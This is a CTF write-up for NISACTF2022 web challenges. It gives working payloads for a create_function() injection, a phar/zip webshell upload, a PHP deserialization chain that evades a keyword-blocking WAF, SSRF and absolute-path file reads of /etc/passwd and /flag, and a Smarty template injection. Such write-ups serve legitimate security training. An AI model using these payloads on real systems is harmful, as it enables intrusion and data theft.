NISACTF2022公开通道
题目
checkin
urlencode,因为解释器读取出来的才是真正的顺序
ahahahaha=jitanglailo&&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6+Flag%21%E2%81%A9%E2%81%A6N1SACTF
level_up
第一层 robots.txt
第二层 md5碰撞
array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
第三层 sha1碰撞
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
第四层 parse_url解析漏洞
url传 /// 即可
第五层create_function()注入
\create_function&b=}var_dump(system("cat /flag"));//
bingdundun
这个题通过自己的fuzz,再加百度就做出来了
将shell.php打包成压缩包,phar协议解压 + zip文件shell
注意:phar用相对路径,zip用绝对路径,解压得到的webshell的名字要和压缩包里的一致
webshell的路径,传payload在这个路径下,也可以用蚁剑连接
http://124.221.24.137:28821/?bingdundun=phar://eb867f50fd71ed6a57854a2363c46f60.zip/shell
babyserialize
waf.php
<?php
function checkcheck($data){
if(preg_match("/\`|\^|\||\~|assert|\?|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk/",$data,$match)){
die('something wrong');
}}
function hint(){
echo "flag is in /";
die();}
payload
O:9:"TianXiWei":2:{s:3:"ext";O:8:"Ilovetxw":2:{s:5:"huang";O:4:"four":1:{s:1:"a";O:4:"NISA":2:{s:3:"fun";O:8:"Ilovetxw":2:{s:5:"huang";N;s:2:"su";O:4:"NISA":2:{s:3:"fun";N;s:8:"txw4ever";s:38:"echo(s.y.s.t.e.m)('cat%09/fllllllaaag');";}}s:8:"txw4ever";N;}}s:2:"su";N;}s:1:"x";s:9:"sixsixsix";}
payload里面的空格代替找了好久
记录下
<符号
$IFS(好像有问题)
${IFS}
$IFS$9
%09用于url传递
cat</flag
babyupload
这个题给源码了,审计发现可能是任意文件读取,关键代码在这里
with open(os.path.join("uploads/", res[0]), "r") as f:
return f.read()
当res[0]为绝对路径时,打开的就是绝对路径,不会进行拼接
所以用burp修改文件名为 /flag,跳转就读取到/flag文件了
easyssrf
url参数存在ssrf漏洞,测试协议file、gopher、http,看能否读取文件,常用的文件
file、http协议都能用
/etc/passwd
/etc/hosts
/var/www/html/index.php
读取/flag的时候有提示,存在/fl4g
/fl4gt提示有另一个文件ha1x1ux1u.php
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = $_GET["file"];
if (stristr($file, "file")){
die("你败了.");
}
//flag in /flag
echo file_get_contents($file);
没有丝毫的过滤,传?file=/flag
就能获得flag
is secret(原题)
参考[CISCN2019 华东南赛区]Double Secret
popchain(原题)
这个题,我在做babyserialize的时候看到原题了,改下变量名能直接打,可是出题人竟然把flag的位置提示错了,错失一血
middlevel(原题)
smarty模板注入
payload如下
X-Forwarded-For: {if readfile('/flag')}{/if}